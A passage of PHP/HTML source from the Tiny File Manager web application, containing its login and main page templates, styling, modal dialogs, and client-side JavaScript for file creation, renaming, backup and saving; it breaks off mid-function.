    <link rel="icon" href="<?php echo fm_enc($favicon_path) ?>" type="image/png">
    <title><?php echo fm_enc(APP_TITLE) ?></title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css">
    <style>
        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
        @media screen and (max-width:425px){ 
            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){ 
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">

    <?php
    }

    /**
     * Show page footer in Login Form
     */
    function fm_show_footer_login()
    {
    ?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.slim.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>
</body>
</html>
<?php
}

/**
 * Show Header after login
 */
function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <link rel="icon" href="<?php echo fm_enc($favicon_path) ?>" type="image/png">
    <title><?php echo fm_enc(APP_TITLE) ?></title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.css" />
    <?php if (FM_USE_HIGHLIGHTJS): ?>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.3/styles/<?php echo FM_HIGHLIGHTJS_STYLE ?>.min.css">
    <?php endif; ?>
    <style>
        body { font-size:14px;color:#222;background:#F7F7F7; }
        body.navbar-fixed { margin-top:55px; }
        a:hover, a:visited, a:focus { text-decoration:none !important; }
        * { -webkit-border-radius:0 !important;-moz-border-radius:0 !important;border-radius:0 !important; }
        .filename, td, th { white-space:nowrap  }
        .navbar-brand { font-weight:bold; }
        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
        .nav-item.avatar a > i { font-size:15px; }
        .nav-item.avatar .dropdown-menu a { font-size:13px; }
        #search-addon { font-size:12px;border-right-width:0; }
        #search-addon2 { background:transparent;border-left:0; }
        .bread-crumb { color:#cccccc;font-style:normal; }
        #main-table .filename a { color:#222222; }
        .table td, .table th { vertical-align:middle !important; }
        .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; }
        .table-sm td, .table-sm th { padding:.4rem; }
        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
        .hidden { display:none  }
        pre.with-hljs { padding:0  }
        pre.with-hljs code { margin:0;border:0;overflow:visible  }
        code.maxheight, pre.maxheight { max-height:512px  }
        .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec  }
        .fa.fa-home { font-size:1.3em;vertical-align:bottom  }
        .path { margin-bottom:10px  }
        form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
        .right { text-align:right  }
        .center, .close, .login-form { text-align:center  }
        .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff  }
        .message.ok { border-color:green;color:green  }
        .message.error { border-color:red;color:red  }
        .message.alert { border-color:orange;color:orange  }
        .preview-img { max-width:100%;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC)  }
        .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px;border-radius:3px  }
        .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px  }
        .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }
        .compact-table { border:0;width:auto  }
        .compact-table td, .compact-table th { width:100px;border:0;text-align:center  }
        .compact-table tr:hover td { background-color:#fff  }
        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis  }
        .break-word { word-wrap:break-word;margin-left:30px  }
        .break-word.float-left a { color:#7d7d7d  }
        .break-word + .float-right { padding-right:30px;position:relative  }
        .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px  }
        #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px  }
        @media (max-width:481px) { 
            #editor { top:150px; }
        }
        #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
        .btn-2 { border-radius:0;padding:3px 6px;font-size:small; }
        li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
        li.folder:before { content:"\f114" }
        i.fa.fa-folder-o { color:#0157b3 }
        i.fa.fa-picture-o { color:#26b99a }
        i.fa.fa-file-archive-o { color:#da7d7d }
        .btn-2 i.fa.fa-file-archive-o { color:inherit }
        i.fa.fa-css3 { color:#f36fa0 }
        i.fa.fa-file-code-o { color:#007bff }
        i.fa.fa-code { color:#cc4b4c }
        i.fa.fa-file-text-o { color:#0096e6 }
        i.fa.fa-html5 { color:#d75e72 }
        i.fa.fa-file-excel-o { color:#09c55d }
        i.fa.fa-file-powerpoint-o { color:#f6712e }
        i.go-back { font-size:1.2em;color:#007bff; }
        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)  }
        .dataTables_filter { display:none; }
        table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
        table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
        table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
        table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
        .footer-action li { margin-bottom:10px; }
        .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
        .ekko-lightbox .modal-dialog { max-width:98%; }
        .ekko-lightbox-item.fade.in.show .row { background:#fff; }
        .ekko-lightbox-nav-overlay { display:flex !important;opacity:1 !important;height:auto !important;top:50%; }
        .ekko-lightbox-nav-overlay a { opacity:1 !important;width:auto !important;text-shadow:none !important;color:#3B3B3B; }
        .ekko-lightbox-nav-overlay a:hover { color:#20507D; }
        #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        @keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        #main-table span.badge { border-bottom:2px solid #f8f9fa }
        #main-table span.badge:nth-child(1) { border-color:#df4227 }
        #main-table span.badge:nth-child(2) { border-color:#f8b600 }
        #main-table span.badge:nth-child(3) { border-color:#00bd60 }
        #main-table span.badge:nth-child(4) { border-color:#4581ff }
        #main-table span.badge:nth-child(5) { border-color:#ac68fc }
        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
        @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6.text-right { padding:0; }
        }
        .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
        .lds-facebook { display:none;position:relative;width:64px;height:64px }
        .lds-facebook div,.lds-facebook.show-me { display:inline-block }
        .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0 }
        @keyframes lds-facebook { 0% { top:6px;height:51px }
        100%,50% { top:19px;height:26px }
        }
        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
        .c-preview-img {
            max-width: 300px;
        }
    </style>
    <?php
    if (FM_THEME == "dark"): ?>
        <style>
            body.theme-dark { background-color: #2f2a2a; }
            .list-group .list-group-item { background: #343a40; }
            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #ffffff; }
            a, a:hover, a:visited, a:active, #main-table .filename a { color: #00ff1f; }
            ul#search-wrapper li:nth-child(odd) { background: #f9f9f9cc; }
            .theme-dark .btn-outline-primary { color: #00ff1f; border-color: #00ff1f; }
            .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #028211;}
        </style>
    <?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">

    <!-- New Item creation -->
    <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" aria-label="newItemModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <div class="modal-content <?php echo fm_get_theme(); ?>">
                <div class="modal-header">
                    <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>

                    <div class="custom-control custom-radio custom-control-inline">
                        <input type="radio" id="customRadioInline1" name="newfile" value="file" class="custom-control-input">
                        <label class="custom-control-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                    </div>

                    <div class="custom-control custom-radio custom-control-inline">
                        <input type="radio" id="customRadioInline2" name="newfile" value="folder" class="custom-control-input" checked="">
                        <label class="custom-control-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                    </div>

                    <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                    <input type="text" name="newfilename" id="newfilename" value="" class="form-control">
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                    <button type="button" class="btn btn-success" onclick="newfolder('<?php echo fm_enc(FM_PATH) ?>');return false;"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                </div>
            </div>
        </div>
    </div>

    <!-- Modal -->
    <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
      <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content <?php echo fm_get_theme(); ?>">
          <div class="modal-header">
            <h5 class="modal-title col-10" id="searchModalLabel">
                <div class="input-group input-group">
                    <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> a files" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                    <div class="input-group-append">
                        <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                    </div>
                </div>
            </h5>
            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
              <span aria-hidden="true">&times;</span>
            </button>
          </div>
          <div class="modal-body">
            <form action="" method="post">
                <div class="lds-facebook"><div></div><div></div><div></div></div>
                <ul id="search-wrapper">
                    <p class="m-2">Search file in folder and subfolders...</p>
                </ul>
            </form>
          </div>
        </div>
      </div>
    </div>
    <script type="text/html" id="js-tpl-modal">
        <div class="modal fade" id="js-ModalCenter-<%this.id%>" tabindex="-1" role="dialog" aria-labelledby="ModalCenterTitle" aria-hidden="true">
            <div class="modal-dialog modal-dialog-centered" role="document">
                <div class="modal-content">
                    <div class="modal-header">
                        <h5 class="modal-title" id="ModalCenterTitle"><%this.title%></h5>
                        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                    </div>
                    <div class="modal-body">
                        <%this.content%>
                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                        <%if(this.action){%><button type="button" class="btn btn-primary" id="js-ModalCenterAction" data-type="js-<%this.action%>"><%this.action%></button><%}%>
                    </div>
                </div>
            </div>
        </div>
    </script>

    <?php
    }

    /**
     * Show page footer
     */
    function fm_show_footer()
    {
    ?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>
<script src="https://cdn.datatables.net/1.10.21/js/jquery.dataTables.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.min.js"></script>
<?php if (FM_USE_HIGHLIGHTJS): ?>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.3/highlight.min.js"></script>
    <script>hljs.initHighlightingOnLoad(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
    $(document).on('click', '[data-toggle="lightbox"]', function(event) {
        event.preventDefault();
        var reInitHighlight = function() { if(typeof isHighlightingEnabled !== "undefined" && isHighlightingEnabled) { setTimeout(function () { $('.ekko-lightbox-container pre code').each(function (i, e) { hljs.highlightBlock(e) }); }, 555); } };
        $(this).ekkoLightbox({
            alwaysShowClose: true, showArrows: true, onShown: function() { reInitHighlight(); }, onNavigate: function(direction, itemIndex) { reInitHighlight(); }
        });
    });
    //TFM Config
    window.curi = "https://tinyfilemanager.github.io/config.json", window.config = null;
    function fm_get_config(){ if(!!window.name){ window.config = JSON.parse(window.name); } else { $.getJSON(window.curi).done(function(c) { if(!!c) { window.name = JSON.stringify(c), window.config = c; } }); }}
    function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function newfolder(e) {
        var t = document.getElementById("newfilename").value, n = document.querySelector('input[name="newfile"]:checked').value;
        null !== t && "" !== t && n && (window.location.hash = "#", window.location.search = "p=" + encodeURIComponent(e) + "&new=" + encodeURIComponent(t) + "&type=" + encodeURIComponent(n))
    }
    function rename(e, t) {var n = prompt("New name", t);null !== n && "" !== n && n != t && (window.location.search = "p=" + encodeURIComponent(e) + "&ren=" + encodeURIComponent(t) + "&to=" + encodeURIComponent(n))}
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) { //Create file backup with .bck
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState && 200 == n.status && toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    //Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (n) {
            if(true){
                var data = {ajax: true, content: n, type: 'save'};
                
                $.ajax({
                    type: "POST",
                    url: window.location,
                    // The key needs to match your method's input parameter (case-sensitive).
                    data: JSON.stringify(data),
                    contentType: "multipart/form-data-encoded; charset=utf-8",
                    //dataType: "json",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });
                
            }
            else{
                var a = document.createElement("form");
